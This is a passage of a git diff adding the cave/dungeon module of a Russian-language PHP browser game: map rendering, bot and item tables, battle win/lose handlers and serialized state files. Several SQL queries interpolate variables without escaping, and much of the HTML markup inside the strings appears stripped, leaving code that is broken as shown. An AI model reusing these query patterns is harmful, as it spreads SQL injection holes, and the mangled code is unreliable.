3?"":"")." + + ".($y == 1 && $x == 3?"":""); + } else { + $ret .= ""; + $ret .= $imgmap[$obj]['code']; + } + return $ret; + } + + function drawobject2($cell, $x, $y) { + global $objects, $imgdata, $user, $objdata, $objsizes, $imgmap; + $tmp=explode("/", $cell); + $obj=$tmp[1]; + $ht=round($imgdata[$x][$y]["ht"]/2); + if($objsizes[$obj]) { + $coef=$objdata[$x][$y]["coef"]; + $wd=$objsizes[$obj][0]*$coef; + $ht=$objsizes[$obj][1]*$coef; + $left=round($objdata[$x][$y]["x"]-($wd/2)); + $top=$objdata[$x][$y]["y"]-$ht; + } elseif($obj==510) { + $wd=round($imgdata[$x][$y]["wd"]*2.5); + $ht=$imgdata[$x][$y]["ht"]; + $left=$imgdata[$x][$y]["x"][1]-round(($wd-$imgdata[$x][$y]["wd"])/2); + $top=$imgdata[$x][$y]["y"]; + } elseif($obj>600 && $obj<700) { + $wd=round($imgdata[$x][$y]["wd"]*1.26); + $left=$imgdata[$x][$y]["x"][1]-round(($wd-$imgdata[$x][$y]["wd"])/2); + $top=$imgdata[$x][$y]["y"]+$ht; + } elseif($obj>=700 && $obj<800) { + $wd=round($imgdata[$x][$y]["wd"]*1.24); + $ht=$imgdata[$x][$y]["ht"]; + $left=$imgdata[$x][$y]["x"][1]-round(($wd-$imgdata[$x][$y]["wd"])/2); + $top=$imgdata[$x][$y]["y"]; + } else { + $wd=$imgdata[$x][$y]["wd"]; + $left=$imgdata[$x][$y]["x"][1]; + $top=$imgdata[$x][$y]["y"]+$ht; + } + $rrm = $user['room']; + if(!isset($imgmap[$obj])) { + $ret.=" + ".($y == 1 && $x == 3?"":"")." + + ".($y == 1 && $x == 3?"":""); + } else { + $ret .= ""; + $ret .= $imgmap[$obj]['code']; + } + return $ret; + } + + function drawevent($cell, $x, $y) { + global $events, $eventdata; + $tmp = explode("/", $cell); + $obj = $tmp[1]; + if($obj == 1) { return ""; } + $wd = round($eventdata[$x][$y]["q"]*$events[$obj]["w"]); + $ht = round($eventdata[$x][$y]["q"]*$events[$obj]["h"]); + $left = round(-$events[$obj]["h"]/2+$eventdata[$x][$y]["x"]); + $top = round($eventdata[$x][$y]["y"]-$events[$obj]["h"]); + $ret .= ""; + return $ret; + } + + while($i >= 0) { + if($i == 4) { + if($map[0][7]) { + $ret .= "
    "; + } + if($map[0][6]) { + $ret .= "
    "; + } + if($map[-1][6]) { + $ret .= ""; + } + } + + $wall = $i*2-1; + $sidewall = $i*2; + + if($map[1][$sidewall] && $i > 0) { + $obj = substr($map[1][$sidewall], 0, 1); + if($obj == "b") { + $ret .= drawbot($map[1][$sidewall], 1, $i); + } elseif ($obj == "u") { + $ret .= drawuser($map[1][$sidewall], 1, $i, $players); + } elseif ($obj == "o" || $obj=="p") { + $ret .= drawobject($map[1][$sidewall], 1, $i); + } elseif ($obj == "e") { + $ret .= drawevent($map[1][$sidewall], 1, $i); + } elseif ($obj == "d") { + $ret .= drawdialog($map[1][$sidewall], 1, $i); + } elseif ($obj != "s") { + $o = $map[1][$sidewall]-10000; + if($o == 4) { + if($i == 1) { + $ret .= ""; + } + if($i == 2) { + $ret .= ""; + } + if($i == 3) { + $ret .= ""; + } + } else { + if($i== 1) { + $ret .= ""; + } + if($i== 2) { + $ret .= ""; + } + if($i== 3) { + $ret .= ""; + } + } + } + } + + if ($map[5][$sidewall] && $i>0) { + $obj=substr($map[5][$sidewall],0,1); + if ($obj=="b") { + $ret.=drawbot($map[5][$sidewall], 5, $i); + } elseif ($obj=="u") { + $ret.=drawuser($map[5][$sidewall], 5, $i, $players); + } elseif ($obj=="o" || $obj=="p") { + $ret.=drawobject($map[5][$sidewall], 5, $i); + } elseif ($obj=="e") { + $ret.=drawevent($map[5][$sidewall], 5, $i); + } elseif ($obj=="d") { + $ret.=drawdialog($map[5][$sidewall], 5, $i); + } elseif ($obj!="s") { + $o=$map[5][$sidewall]-10000; + if ($o==4) { + if ($i==1) $ret.=""; + if ($i==2) $ret.=""; + if ($i==3) $ret.=""; + } else { + if ($i==1) $ret.=""; + if ($i==2) $ret.=""; + if ($i==3) $ret.=""; + } + } + } + if ($i>0 && $map[1][$wall]) $ret.="
    "; + + $objInWall = explode('/', $map[4][$sidewall]); + if ($objInWall[1] == 'o') { + if(!passablewall($map[4][$sidewall])) $ret.="
    "; + } else { + if(!passablewall($map[4][$sidewall])) $ret.="
    "; + } + $objInWall = explode('/', $map[2][$sidewall]); + if ($objInWall[1] == 'o') { + if(!passablewall($map[2][$sidewall])) $ret.="
    "; + } else { + if(!passablewall($map[2][$sidewall])) $ret.="
    "; + } + + if ($i>0 && $map[5][$wall]) $ret.="
    "; + + if ($map[3][$sidewall] && $i>0 && $sidewall<$centerwall) { + $obj=substr($map[3][$sidewall],0,1); + if ($obj=="b") { + $ret.=drawbot($map[3][$sidewall], 3, $i); + } elseif ($obj=="u") { + $ret.=drawuser($map[3][$sidewall], 3, $i, $players); + } elseif ($obj=="o" || $obj=="p") { + $ret.=drawobject($map[3][$sidewall], 3, $i); + } elseif ($obj=="e") { + $ret.=drawevent($map[3][$sidewall], 3, $i); + } elseif ($obj=="d") { + $ret.=drawdialog($map[3][$sidewall], 3, $i); + } elseif ($obj!="s") { + $o=$map[3][$sidewall]-10000; + if ($o==4) { + if ($i==1) $ret.=""; + if ($i==2) $ret.=""; + if ($i==3) $ret.=""; + } else { + if ($i==1) $ret.=""; + if ($i==2) $ret.=""; + if ($i==3) $ret.=""; + } + } + } + if ($map[3][$wall]) { + if ($i>0) $ret.="
    2?"style=\"background-image:url('$base/cw$i".cavewall($map[3][$wall]).".gif')\"":"").">
    "; + if ($i==1 && $map[3][$wall]>2) { + if ($map[3][$wall]>1000) { + $ret.=""; + } elseif ($map[3][$wall]>100) { + $ret.=""; + } else $ret.=""; + } + $objInWall = explode('/', $map[3][$wall]); + if ($objInWall[1] == "o") { + if ($user['room'] == 83 && !(!$direction && (($x == 13 && $y == 4) || ($x == 12 && $y == 4)))) { // исключение 2-ух клеток в комнате 82 + $ret.=drawobject('//' . $objInWall[2], 3, $i); + } + } + $nocenter=1; + } + if ($i==4) { + if ($map[7][6]) $ret.=""; + } + $i--; + } + + $ret.="
    +
    +
    +
    +
    +
    0
    +
    "; + + if ($direction==0) { + $forwardlink="?move=x2&".time(); + $backlink="?move=x1&".time(); + $leftlink="?move=y1&".time(); + $rightlink="?move=y2&".time(); + } + if ($direction==2) { + $forwardlink="?move=x1&".time(); + $backlink="?move=x2&".time(); + $leftlink="?move=y2&".time(); + $rightlink="?move=y1&".time(); + } + if ($direction==1) { + $forwardlink="?move=y2&".time(); + $backlink="?move=y1&".time(); + $leftlink="?move=x2&".time(); + $rightlink="?move=x1&".time(); + } + if ($direction==3) { + $forwardlink="?move=y1&".time(); + $backlink="?move=y2&".time(); + $leftlink="?move=x1&".time(); + $rightlink="?move=x2&".time(); + } + if (passablewall($map[3][1]) && canmoveto($map[3][2])) $ret.="
    "; + if (passablewall($map[3][-1]) && canmoveto($map[3][-2])) $ret.="
    "; + if (passablewall($map[2][0]) && canmoveto($map[1][0])) $ret.="
    "; + if (passablewall($map[4][0]) && canmoveto($map[5][0])) $ret.="
    "; + + $ret.="
    "; + + $ret.="
    "; + + $ret.="
    "; + $ret.="
    +
    "; + + foreach ($players as $k=>$v) { + if ($v["x"]-($startx/2)>=0 && $v["x"]-($startx/2)<=8 && $v["y"]-($starty/2)>=0 && $v["y"]-($starty/2)<=8) { + $ret.="\"$v[login]\""; + } + } + $ret.=""; + $i=$starty; + while ($i<$starty+18) { + $ret.=""; + $i2=$startx; + while ($i2<$startx+18) { + $ret.=""; + $i2+=2; + } + $ret.=""; + $i+=2; + } + $ret.="
    "; + if (strpos($map1[$i][$i2], 'h/') !== false) { + $map1[$i][$i2] = 0; + } + if ($map1[$i][$i2]) { + $ret.=""; + } + $ret.="
    +
    "; + + $ret.="
    +
    "; + + $ret.=" +
    +
    "; + $ret.=""; + $ret.=" +"; + return $ret; + } +?> + + + +
    +
    + + $v) { + if($v["user"] == $user["id"]) { + $usr = $user; + } else { + $usr = mysql_fetch_array(mysql_query("SELECT `level`, `hp`, `maxhp` FROM `users` WHERE `id` = '$v[user]'")); + } + $wd = floor($usr["hp"]/$usr["maxhp"]*120); + echo " + + + +"; + } +?> +
    + $v[login] [$usr[level]] +
    +
    ".($v["user"]==$user["id"]?"":"")."$usr[hp]".($v["user"]==$user["id"]?"":"")."/$usr[maxhp]\"Уровень\"Уровень
    "; +if ($v["user"]==$user["id"] && $user["id"]==$user["caveleader"]) echo "\"Выгнать \"Новый"; +echo "

    + +
    + + 
    +
    +

    +
    + 0) echo "В комнате разбросаны вещи:
     
    "; + while ($rec = mysql_fetch_assoc($r)) { + echo " "; + } +?>

    +=3) echo "
    Вас убили 3 раза, и вы покидете подземелье

    + Вернуться

    "; + if ($loses) echo "
    Количество смертей: $loses
    "; + +?> +
    +
    +     +     Выйти +
    + +
    + + x:  + y:  + floor:   + + '; +} +?> \ No newline at end of file diff --git a/cave/cave_bots.php b/cave/cave_bots.php new file mode 100644 index 0000000..f078701 --- /dev/null +++ b/cave/cave_bots.php @@ -0,0 +1,21 @@ + 10025, + 2 => 10026, + 3 => 10027, + 4 => 10028, + 5 => 10031, + 6 => 10032, + 7 => 10033, + 8 => 10034); + +$botnames = array( + 1 => "Паук", + 2 => "Тарантул", + 3 => "Гигантская крыса", + 4 => "Покровитель нечести", + 5 => "Нечто", + 6 => "Обезумевший крыс", + 7 => "Призрак короля крыс ", + 8 => "Обезумевший палач"); +?> \ No newline at end of file diff --git a/cave/caveitems.php b/cave/caveitems.php new file mode 100644 index 0000000..bf3ed90 --- /dev/null +++ b/cave/caveitems.php @@ -0,0 +1,12 @@ + 1126, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 50, 'podzem' => 1)); + $caveitems[2] = array(array('id' => 1125, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 40, 'podzem' => 1)); + $caveitems[3] = array(array('id' => 1127, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 15, 'podzem' => 1)); + $caveitems[4] = array(array('id' => 1128, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 5, 'podzem' => 1)); + $caveitems[5] = array(array('id' => 1126, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 60, 'podzem' => 1)); + $caveitems[6] = array(array('id' => 1130, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 7), 'podzem' => 1); + $caveitems[7] = array(array('id' => 1129, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 10, 'podzem' => 1)); + $caveitems[8] = array(array('id' => 1131, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 5, 'podzem' => 1)); +} +?> \ No newline at end of file diff --git a/cave/lose.php b/cave/lose.php new file mode 100644 index 0000000..2db4213 --- /dev/null +++ b/cave/lose.php @@ -0,0 +1,22 @@ + $v) { + if($v < _BOTSEPARATOR_) { + if(in_array($user['room'], $caverooms)) { + mysql_query("UPDATE `caveparties` SET `floor` = $floor, `x` = '".$cavedata[$user['room']]['x'.$floor]."', `y` = '".$cavedata[$user['room']]['y'.$floor]."', `dir` = '".$cavedata[$user['room']]['dir'.$floor]."', `loses` = (`loses`+1) WHERE `user` = '$v' LIMIT 1"); + } + if($user['laba'] > 0) { + mysql_query('UPDATE `users` SET `x` = `xf`, `y` = `yr` WHERE `id` = "'.$v.'" LIMIT 1'); + } + } +} +?> \ No newline at end of file diff --git a/cave/win.php b/cave/win.php new file mode 100644 index 0000000..476d4ad --- /dev/null +++ b/cave/win.php @@ -0,0 +1,66 @@ +battle_data["id"]."'"); + $i = 0; $cnt = 0; + while($rec = mysql_fetch_assoc($r)) { + $bot = $rec['bot']; + $cnt = $rec['cnt']; + if(@$caveitems[$bot]) { + if($user['room'] == 621) { + $i = mt_rand(0, (count($caveitems[$bot]) - 1)); + $item = $caveitems[$bot][$i]; + if(getchance($item['chance'])) { + $it = mysql_fetch_array(mysql_query("SELECT `id`, `name`, `img` FROM `$item[from]` WHERE `id` = $item[id] LIMIT 1")); + $podz = 1; + mysql_query('INSERT INTO `caveitems` SET `podzem` = "'.$item['podzem'].'", `leader` = "'.$user['caveleader'].'", `x` = "'.$rec['x'].'", `y` = "'.$rec['y'].'", `floor` = "'.$floor.'", `name` = "'.$it['name'].'", `img` = "'.$it['img'].'", `item` = "'.$item['id'].'"'.($item['foronetrip'] ? ", `foronetrip` = 1" : "")); + cavesys("У ".$cavebots[$bot]." был предмет $it[name] и кто угодно может подобрать его."); + $this->AddToLog(''.date("H:i")." У ".$cavebots[$bot]." был предмет $it[name].
    "); + } + } + } + } + + if($user['caveleader'] > 0) { + $bots = array(1 => 10025, 2 => 10026, 3 => 10027, 4 => 10028, 5 => 10031, 6 => 10032, 7 => 10033, 8 => 10034); + $tp = 1; + while($tp <= $cnt) { + $vars = 'win_bot_'.$bots[$bot]; + $ins = mysql_query('INSERT INTO `actions` (`uid`, `time`, `city`, `room`, `vars`, `ip`, `vals`) VALUES ("'.$user['id'].'", "'.time().'", "capitalcity", "0", "'.mysql_real_escape_string($vars).'", "'.mysql_real_escape_string($_SERVER['HTTP_X_REAL_IP']).'", "0")'); + if(!$ins) { + echo mysql_error(); + } + $tp++; + } + } + + mysql_query("DELETE FROM `cavebots` WHERE `battle` = '".$this->battle_data["id"]."'"); + mysql_query('UNLOCK TABLES'); +} +?> \ No newline at end of file diff --git a/cavedata.php b/cavedata.php new file mode 100644 index 0000000..f8849dc --- /dev/null +++ b/cavedata.php @@ -0,0 +1,5 @@ + array('x1' => 6, 'y1' => 11, 'dir1' => 1, 'x2' => 10, 'y2' => 8, 'dir2' => 1, 'x3' => 20, 'y3' => 4, 'dir3' => 1,'x4' => 10, 'y4' => 10, 'dir4' => 1, 'delay' => 360, 'name1' => 'Проклятый Рудник', 'name2' => 'Проклятого Рудника')); + +?> \ No newline at end of file diff --git a/cavedata/0-.dat b/cavedata/0-.dat new file mode 100644 index 0000000..d188954 --- /dev/null +++ b/cavedata/0-.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1437411017;} \ No newline at end of file diff --git a/cavedata/10019-1.dat b/cavedata/10019-1.dat new file mode 100644 index 0000000..ce2d2eb --- /dev/null +++ b/cavedata/10019-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1440857761;} \ No newline at end of file diff --git a/cavedata/10019-2.dat b/cavedata/10019-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10019-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10019-3.dat b/cavedata/10019-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10019-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10019-4.dat b/cavedata/10019-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10019-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10022-.dat b/cavedata/10022-.dat new file mode 100644 index 0000000..fe44bf8 --- /dev/null +++ b/cavedata/10022-.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1437314033;} \ No newline at end of file diff --git a/cavedata/10022-1.dat b/cavedata/10022-1.dat new file mode 100644 index 0000000..3f5a3ad --- /dev/null +++ b/cavedata/10022-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1481111105;} \ No newline at end of file diff --git a/cavedata/10022-2.dat b/cavedata/10022-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10022-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10022-3.dat b/cavedata/10022-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10022-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10022-4.dat b/cavedata/10022-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10022-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10029-1.dat b/cavedata/10029-1.dat new file mode 100644 index 0000000..092e1b8 --- /dev/null +++ b/cavedata/10029-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1440065042;} \ No newline at end of file diff --git a/cavedata/10029-2.dat b/cavedata/10029-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10029-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10029-3.dat b/cavedata/10029-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10029-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10029-4.dat b/cavedata/10029-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10029-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10035-1.dat b/cavedata/10035-1.dat new file mode 100644 index 0000000..86727a8 --- /dev/null +++ b/cavedata/10035-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1440504347;} \ No newline at end of file diff --git a/cavedata/10035-2.dat b/cavedata/10035-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10035-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10035-3.dat b/cavedata/10035-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10035-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10035-4.dat b/cavedata/10035-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10035-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10036-1.dat b/cavedata/10036-1.dat new file mode 100644 index 0000000..4c1089d --- /dev/null +++ b/cavedata/10036-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1440504413;} \ No newline at end of file diff --git a/cavedata/10038-1.dat b/cavedata/10038-1.dat new file mode 100644 index 0000000..3f2436b --- /dev/null +++ b/cavedata/10038-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1440777658;} \ No newline at end of file diff --git a/cavedata/10038-2.dat b/cavedata/10038-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10038-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10038-3.dat b/cavedata/10038-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10038-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10038-4.dat b/cavedata/10038-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10038-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10041-1.dat b/cavedata/10041-1.dat new file mode 100644 index 0000000..c5c3234 --- /dev/null +++ b/cavedata/10041-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1441539924;} \ No newline at end of file diff --git a/cavedata/10041-2.dat b/cavedata/10041-2.dat new file mode 100644 index 0000000..c3bd2fa --- /dev/null +++ b/cavedata/10041-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1441539953;} \ No newline at end of file diff --git a/cavedata/10041-3.dat b/cavedata/10041-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10041-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10041-4.dat b/cavedata/10041-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10041-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10044-1.dat b/cavedata/10044-1.dat new file mode 100644 index 0000000..163896f --- /dev/null +++ b/cavedata/10044-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1445452557;} \ No newline at end of file diff --git a/cavedata/10044-2.dat b/cavedata/10044-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10044-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10044-3.dat b/cavedata/10044-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10044-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10044-4.dat b/cavedata/10044-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10044-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10045-1.dat b/cavedata/10045-1.dat new file mode 100644 index 0000000..155f0c1 --- /dev/null +++ b/cavedata/10045-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1445875949;} \ No newline at end of file diff --git a/cavedata/10045-2.dat b/cavedata/10045-2.dat new file mode 100644 index 0000000..4edc8ff --- /dev/null +++ b/cavedata/10045-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1445876186;} \ No newline at end of file diff --git a/cavedata/10045-3.dat b/cavedata/10045-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10045-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10045-4.dat b/cavedata/10045-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10045-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10046-1.dat b/cavedata/10046-1.dat new file mode 100644 index 0000000..50fdea4 --- /dev/null +++ b/cavedata/10046-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1446144927;} \ No newline at end of file diff --git a/cavedata/10046-2.dat b/cavedata/10046-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10046-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10046-3.dat b/cavedata/10046-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10046-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10046-4.dat b/cavedata/10046-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10046-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10048-1.dat b/cavedata/10048-1.dat new file mode 100644 index 0000000..92a56f3 --- /dev/null +++ b/cavedata/10048-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1442070010;} \ No newline at end of file diff --git a/cavedata/10048-2.dat b/cavedata/10048-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10048-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10048-3.dat b/cavedata/10048-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10048-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10048-4.dat b/cavedata/10048-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10048-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10050-1.dat b/cavedata/10050-1.dat new file mode 100644 index 0000000..5e6241a --- /dev/null +++ b/cavedata/10050-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1445358077;} \ No newline at end of file diff --git a/cavedata/10050-2.dat b/cavedata/10050-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10050-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10050-3.dat b/cavedata/10050-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10050-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10050-4.dat b/cavedata/10050-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10050-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10051-1.dat b/cavedata/10051-1.dat new file mode 100644 index 0000000..2af34a6 --- /dev/null +++ b/cavedata/10051-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1442401887;} \ No newline at end of file diff --git a/cavedata/10051-2.dat b/cavedata/10051-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10051-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10051-3.dat b/cavedata/10051-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10051-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10051-4.dat b/cavedata/10051-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10051-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10055-1.dat b/cavedata/10055-1.dat new file mode 100644 index 0000000..6867623 --- /dev/null +++ b/cavedata/10055-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1442400663;} \ No newline at end of file diff --git a/cavedata/10055-2.dat b/cavedata/10055-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10055-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10055-3.dat b/cavedata/10055-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10055-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10055-4.dat b/cavedata/10055-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10055-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10061-1.dat b/cavedata/10061-1.dat new file mode 100644 index 0000000..473e3c5 --- /dev/null +++ b/cavedata/10061-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1446543004;} \ No newline at end of file diff --git a/cavedata/10061-2.dat b/cavedata/10061-2.dat new file mode 100644 index 0000000..a67c538 --- /dev/null +++ b/cavedata/10061-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1446543082;} \ No newline at end of file diff --git a/cavedata/10061-3.dat b/cavedata/10061-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10061-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10061-4.dat b/cavedata/10061-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10061-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10062-1.dat b/cavedata/10062-1.dat new file mode 100644 index 0000000..96f22f1 --- /dev/null +++ b/cavedata/10062-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1448833099;} \ No newline at end of file diff --git a/cavedata/10062-2.dat b/cavedata/10062-2.dat new file mode 100644 index 0000000..0ced0e2 --- /dev/null +++ b/cavedata/10062-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1448833718;} \ No newline at end of file diff --git a/cavedata/10062-3.dat b/cavedata/10062-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10062-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10062-4.dat b/cavedata/10062-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10062-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10063-1.dat b/cavedata/10063-1.dat new file mode 100644 index 0000000..0ebd00a --- /dev/null +++ b/cavedata/10063-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1454295695;} \ No newline at end of file diff --git a/cavedata/10063-2.dat b/cavedata/10063-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10063-2.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10063-3.dat b/cavedata/10063-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10063-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10063-4.dat b/cavedata/10063-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10063-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10065-1.dat b/cavedata/10065-1.dat new file mode 100644 index 0000000..d8dd3c3 --- /dev/null +++ b/cavedata/10065-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1449477707;} \ No newline at end of file diff --git a/cavedata/10065-2.dat b/cavedata/10065-2.dat new file mode 100644 index 0000000..3b8db5f --- /dev/null +++ b/cavedata/10065-2.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1449478012;} \ No newline at end of file diff --git a/cavedata/10065-3.dat b/cavedata/10065-3.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10065-3.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10065-4.dat b/cavedata/10065-4.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10065-4.dat @@ -0,0 +1 @@ +a:0:{} \ No newline at end of file diff --git a/cavedata/10066-1.dat b/cavedata/10066-1.dat new file mode 100644 index 0000000..5d36935 --- /dev/null +++ b/cavedata/10066-1.dat @@ -0,0 +1 @@ +a:1:{s:6:"wander";i:1448025847;} \ No newline at end of file diff --git a/cavedata/10066-2.dat b/cavedata/10066-2.dat new file mode 100644 index 0000000..c856afc --- /dev/null +++ b/cavedata/10066-2.dat @@ 